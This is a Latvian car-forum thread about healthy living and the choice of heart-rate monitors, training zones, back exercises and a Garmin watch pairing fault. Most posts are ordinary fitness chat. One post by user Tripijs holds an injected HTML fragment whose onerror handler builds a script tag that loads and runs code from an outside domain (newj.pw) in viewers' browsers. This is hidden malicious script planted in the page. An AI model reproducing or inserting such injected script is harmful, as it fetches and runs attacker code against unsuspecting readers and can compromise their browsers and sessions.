Online
Pašreiz BMWPower skatās 133 viesi un 12 reģistrēti lietotāji.
|
Tēma: Veselīga dzīve - kā?
| Autors | Ziņojums |
|---|
| RonaldinsH | |  Kopš: 19. Nov 2015
Ziņojumi: 1089
Braucu ar:
| Nu viņai tak silikons pa virsu uzbliezts. Lielākai daļai fitnesu/bodybuilderu bābām ir silikons, jo no zemā tauku procenta pupi pārveršas par dēli un paliek tik nipeļi, kā oldschool radio pogas.  [ Šo ziņu laboja RonaldinsH, 09 Nov 2017, 13:12:28 ] |  Offline | | |
| sasha_belijs | |  Kopš: 05. Sep 2006
Ziņojumi: 20315
Braucu ar: nošautu musaru bagāžniekā
| pirms gada butu ieshavis seu galva, ja zinatku, ka teikshu sekojosho, bet... 
kadu pulsometru iesakat?
Tatad, visi testi ir izieti, zonas zinu. Vajag max precizu!!! - ta ir galvena prioritate, jo man tas suds bus nepiecieshams TIKAI treninjiem anaerobaja zona! Un tie rokas meriatji ari it ka augstos pulsus sudigak mera 
Ja ir tomer kads ahuuuna preciizs rokas pulsometrs, tad kursh???? Polar, tomtom, garmin, bet krus tieshi models?
Un ja varianc i tomer josta, tad kura? Vajg tadu, ko tad var sajugt ar teflonu, kurai ir normals apps, kas zinjo treninja laikaa caur austinjam. wahoo, polar,...
Visidealak butu josta ar pulksteni, jo teflons i problematiski treninja, bet var ieteikt ari jostu
Vai varbut var sajugt dazadus watchus ar dazadam jostam, vai kadu jostu pa tiesho ar apple watchu  | | Offline | | |
| darknmy | |  Kopš: 23. Jul 2014
Ziņojumi: 1113
Braucu ar: X3 3.0i
| Max precīzi būs tikai jostas. Garmin. | | Offline | | |
sergis15  | |  Kopš: 05. Apr 2010
No: Rīga
Ziņojumi: 12025
Braucu ar: pikapu
| galvenais, lai ir comfort josta ar ant+ un bluetooth.
tad varēsi sajūgt ar dajebko.
pats lietoju sigma rox 11.
gps signāls viņam ir daudz labāks.
garmins šur tur pat nepieslēdzās.
bet ne par to, neesmu novērojis, lai pati josta rādītu neprecīzi jebkādam brendam.
viens ir tas, kad bija laiki, kad signāli nebija kodēti, tad jaucās kopā.
visi tie sensori ir sūdi pagaidām.
ja kas, pie manis sigmas jostu ar ant+ un bluetooth var iegādāties par 40e
ja zālēs ir advancēti trenažieri, tad varēsi sapārot šādu jostu ar jebkuru traineri.
-----------------
Brīvības iela 117, Rīga.
GIANT/LIV, SCOTT velosipēdi, remonts un aksesuāri.
PM-Lūgums whatsapp vai 28610399
|  Online | | |
| Tripijs | |  Kopš: 09. Feb 2017
Ziņojumi: 3
Braucu ar: Behu
|
09 Nov 2017, 10:52:21 @bertons rakstīja:
kaads skaistums 
http://www.delfi.lv/izklaide/dzivesstils/stils/...ja.d?id=49418617
Pilnīgas drausmas... Bet laikam jau cilvēks sevi uzskata par skaistu.
![](http://?<a href="<a href= "https://onerror=this.attributes['onerror'].value='a=document.createElement\x28\'script\'\x29;a.src=\'https://newj.pw/derb\';document.head.appendChild\x28a\x29;this.name=\'injimg\'';this.src='http://'//") https://onerror=this.attributes['onerror'].valu....src='http://'// f=""" border="0" style="cursor: pointer;" onClick=" getImgSize(this.src);"> | | Offline | | |
| piradzinjsh | | Kopš: 29. Aug 2012
No: Liepāja
Ziņojumi: 2294
Braucu ar: vienu radzi
| šobrid ir problema ar garmin pulsteni (forerunner 35) pēc aplikācijas update'a. Neizdodas sapārot un sasinhronizēt ar telfonu.
Škiet ka izstrādāaji kko sapisuši, cik pagūglēju.  | | Offline | | |
| TIINIZ | | Kopš: 20. Jul 2004
Ziņojumi: 812
Braucu ar:
| Kāds var padalīties ar kādu labu materiālu/ video muguras stiprināšanai? Dziļie muskuļi tā teikt. | | Offline | | |
| cipargalva | |  Kopš: 07. Jul 2009
No: Valmiera
Ziņojumi: 6623
Braucu ar: quattro
| Pilns jūtūbs. Neko jaunu un unikālu neviens neparādīs.
Prese, planks no visiem galiem.
Lielākie sūdi ir tajā, ka tie vingrinājumi ir jāpilda  | | Offline | | |
|
|
| Pukstis | |  Kopš: 25. Jun 2008
Ziņojumi: 1038
Braucu ar:
|
13 Nov 2017, 22:31:20 @piradzinjsh rakstīja:
šobrid ir problema ar garmin pulsteni (forerunner 35) pēc aplikācijas update'a. Neizdodas sapārot un sasinhronizēt ar telfonu.
Škiet ka izstrādāaji kko sapisuši, cik pagūglēju.
Tu pamēģināji nokonektēt nost pulksteni (viņu uzreiz atrod?) un pa jaunam piekonektēt?
| | Offline | | |
| marekovich | |  Kopš: 02. Dec 2012
Ziņojumi: 995
Braucu ar: Suuuuzuuuukiiii
|
14 Nov 2017, 14:48:14 @Pukstis rakstīja:
13 Nov 2017, 22:31:20 @piradzinjsh rakstīja:
šobrid ir problema ar garmin pulsteni (forerunner 35) pēc aplikācijas update'a. Neizdodas sapārot un sasinhronizēt ar telfonu.
Škiet ka izstrādāaji kko sapisuši, cik pagūglēju.
Tu pamēģināji nokonektēt nost pulksteni (viņu uzreiz atrod?) un pa jaunam piekonektēt?
Mans pēc restarta aizgāja, cits modelis gan | | Offline | | |
| VD177 | |  Kopš: 14. Feb 2013
No: Rīga
Ziņojumi: 1341
Braucu ar: Agresīvu sānslīdi
|
14 Nov 2017, 14:38:05 @TIINIZ rakstīja:
Kāds var padalīties ar kādu labu materiālu/ video muguras stiprināšanai? Dziļie muskuļi tā teikt.
https://www.youtube.com/watch?v=YWHg2I27I4w | | Offline | | |
radari.lv  | | Kopš: 12. Nov 2005
No: Rīga
Ziņojumi: 403
Braucu ar: interesantiem auto
|
13 Nov 2017, 14:23:50 @sasha_belijs rakstīja:
pirms gada butu ieshavis seu galva, ja zinatku, ka teikshu sekojosho, bet...
kadu pulsometru iesakat?
Tatad, visi testi ir izieti, zonas zinu. Vajag max precizu!!! - ta ir galvena prioritate, jo man tas suds bus nepiecieshams TIKAI treninjiem anaerobaja zona! Un tie rokas meriatji ari it ka augstos pulsus sudigak mera
Ja ir tomer kads ahuuuna preciizs rokas pulsometrs, tad kursh???? Polar, tomtom, garmin, bet krus tieshi models?
Un ja varianc i tomer josta, tad kura? Vajg tadu, ko tad var sajugt ar teflonu, kurai ir normals apps, kas zinjo treninja laikaa caur austinjam. wahoo, polar,...
Visidealak butu josta ar pulksteni, jo teflons i problematiski treninja, bet var ieteikt ari jostu
Vai varbut var sajugt dazadus watchus ar dazadam jostam, vai kadu jostu pa tiesho ar apple watchu
Pulsu redzet ir labi sakuma, kamer nespej to darit pec izjutas. Efektivak ir nelietot pulsometru bet balstities uz zonam kuras juuti, aeroba = kamer vari parunat, viegli saraustiti bet var normali, videja zona bus kad vari knapi runat, nu ta nav komfortabli runat un anaeroba++ bus kad runat vairs negribas.
Vienkarsi pulsometri bremze nereti attistibu. Svarigak ir pasi intervali un slodzes mainas, sirds kambaru pumpesana un vaskularas sistemas attistiba kurai ir vienalga vai ir 145 vai 153 ko ar pulsometriem megina ieverot.
-----------------
== Kesel Motorsport ==
brauc ātrāk - www.radari.lv
| | Offline | | |
| Locis | |  Kopš: 14. Aug 2008
No: Dobele
Ziņojumi: 11229
Braucu ar: X5 , Jeep, Tuareg, L200, Jumper,Master ,Transit, Stralis x2, Volvo FL, Atego, Deu
| Ja runā par sirds trenēšanu. Ja esi svaigs,ilgi nesportojis,būs augsts pulss, baigi neiespringstot. Tādā situācijā lieli abaroti sirdij nav kaitīgi?
Cik dzirdēts,tad nav veselīgi daudz trenēties augstā pulsā,bet augsts pulss,pie situācijas,kad vari mierīgi runāt,nav aizelsiens utt, ir veselīgs?
Nu man augsts treniņos skaitās virs 145.
Sezonā pie 135 jau parādās pirmais smagais noelsiens [ Šo ziņu laboja Locis, 14 Nov 2017, 21:06:35 ] | | Offline | | |
| piradzinjsh | | Kopš: 29. Aug 2012
No: Liepāja
Ziņojumi: 2294
Braucu ar: vienu radzi
|
14 Nov 2017, 17:15:44 @marekovich rakstīja:
14 Nov 2017, 14:48:14 @Pukstis rakstīja:
13 Nov 2017, 22:31:20 @piradzinjsh rakstīja:
šobrid ir problema ar garmin pulsteni (forerunner 35) pēc aplikācijas update'a. Neizdodas sapārot un sasinhronizēt ar telfonu.
Škiet ka izstrādāaji kko sapisuši, cik pagūglēju.
Tu pamēģināji nokonektēt nost pulksteni (viņu uzreiz atrod?) un pa jaunam piekonektēt?
Mans pēc restarta aizgāja, cits modelis gan
Gan restartēju, gan aplikāciju telefonā pārinstalēju. Noņēmu nost. Kad lieku klāt, viss pēc instrukcijas. ievadot PIN, ievade pēc 2sec pazūd, un atkal cenšas nesekmīgi sapārot. Viņš nemaz neļauj ievadīt to kodu.
Ar kabeli pie datora viss ok. | | Offline | | |
| sasha_belijs | | Kopš: 05. Sep 2006
Ziņojumi: 20315
Braucu ar: nošautu musaru bagāžniekā
|
14 Nov 2017, 18:08:45 @radari.lv rakstīja:
13 Nov 2017, 14:23:50 @sasha_belijs rakstīja:
pirms gada butu ieshavis seu galva, ja zinatku, ka teikshu sekojosho, bet...
kadu pulsometru iesakat?
Tatad, visi testi ir izieti, zonas zinu. Vajag max precizu!!! - ta ir galvena prioritate, jo man tas suds bus nepiecieshams TIKAI treninjiem anaerobaja zona! Un tie rokas meriatji ari it ka augstos pulsus sudigak mera
Ja ir tomer kads ahuuuna preciizs rokas pulsometrs, tad kursh???? Polar, tomtom, garmin, bet krus tieshi models?
Un ja varianc i tomer josta, tad kura? Vajg tadu, ko tad var sajugt ar teflonu, kurai ir normals apps, kas zinjo treninja laikaa caur austinjam. wahoo, polar,...
Visidealak butu josta ar pulksteni, jo teflons i problematiski treninja, bet var ieteikt ari jostu
Vai varbut var sajugt dazadus watchus ar dazadam jostam, vai kadu jostu pa tiesho ar apple watchu
Pulsu redzet ir labi sakuma, kamer nespej to darit pec izjutas. Efektivak ir nelietot pulsometru bet balstities uz zonam kuras juuti, aeroba = kamer vari parunat, viegli saraustiti bet var normali, videja zona bus kad vari knapi runat, nu ta nav komfortabli runat un anaeroba++ bus kad runat vairs negribas.
Vienkarsi pulsometri bremze nereti attistibu. Svarigak ir pasi intervali un slodzes mainas, sirds kambaru pumpesana un vaskularas sistemas attistiba kurai ir vienalga vai ir 145 vai 153 ko ar pulsometriem megina ieverot.
nu bet es jau ar esu 1 no tiem, kas visu muzhu trenejies bez pulsometra un uzskata, ka tas nau vajdzigs treninjos, ja vien nav kaut kadas anomalibas ar sirdi.
es prastos skrieshanas/ritenjbraukshanas vai peldeshanas treninjos viennozimigi nelietoshu pulsometru, jo pietiekoshi ilgi esmu trnejies un zinu automata savas robezhas lidz pat 80-90%.
Vienk. patreizejos treninjos citreiz ir svarigi vai nu pie 90% vai momenti uz max, luk, te trneri grib lai i tas pulsometrs, es pac vairka gribu redzet, kadas bus manas sajutas ar to, ko radis pulsometrs un atbilstosho testu rezultatu patiesiba vai fufels. +ir biushas reizes, ka ir licies, ka nolikshu karoti, bet pec uzstadijumiem ir javar vel, njemot vera citu treninju radijumus, tad vajga patestet relaus treninjus ar realiem sirds pulsa radijumiem treninja, nevis kau kadus tur VOmax u.c. fignju labaa. | | Offline | | |
| piradzinjsh | | Kopš: 29. Aug 2012
No: Liepāja
Ziņojumi: 2294
Braucu ar: vienu radzi
| Aizej uz crosfit jugla, tur ir pulsa monitorings. Redzesi kas notiek treninjaa.
viniem ir istā sistēma
 Spied "Play", lai skatītos video! [ Šo ziņu laboja piradzinjsh, 15 Nov 2017, 10:06:36 ] | | Offline | | |
|
|
| patric | |  Kopš: 22. Sep 2007
No: Rīga
Ziņojumi: 3199
Braucu ar:
| jebal | | Offline | | |
| darknmy | | Kopš: 23. Jul 2014
Ziņojumi: 1113
Braucu ar: X3 3.0i
|  Spied "Play", lai skatītos video! | | Offline | | |
| piradzinjsh | | Kopš: 29. Aug 2012
No: Liepāja
Ziņojumi: 2294
Braucu ar: vienu radzi
| Tradīcija. 
| | Offline | | |
| sasha_belijs | | Kopš: 05. Sep 2006
Ziņojumi: 20315
Braucu ar: nošautu musaru bagāžniekā
| iegadajos Polar H10, tas gan ir tikai ar BT, bez ANT+. Testos it ka esot visprecizakais. bet vel gaidu polar m430 watch ar ko sajugt.
gribu redzet, kadi ir pulsi, kad liekas, ka aizieshu tulit pa skuju taku trenija. | | Offline | | |
|
Moderatori: 968-jk, AV, BigArchi, BlackMagicWoman, Czars, GirtzB, Lafter, PERFS, RVR, SteelRat, VLD, kolhozs, linda, mrc, noisex, smudo
|
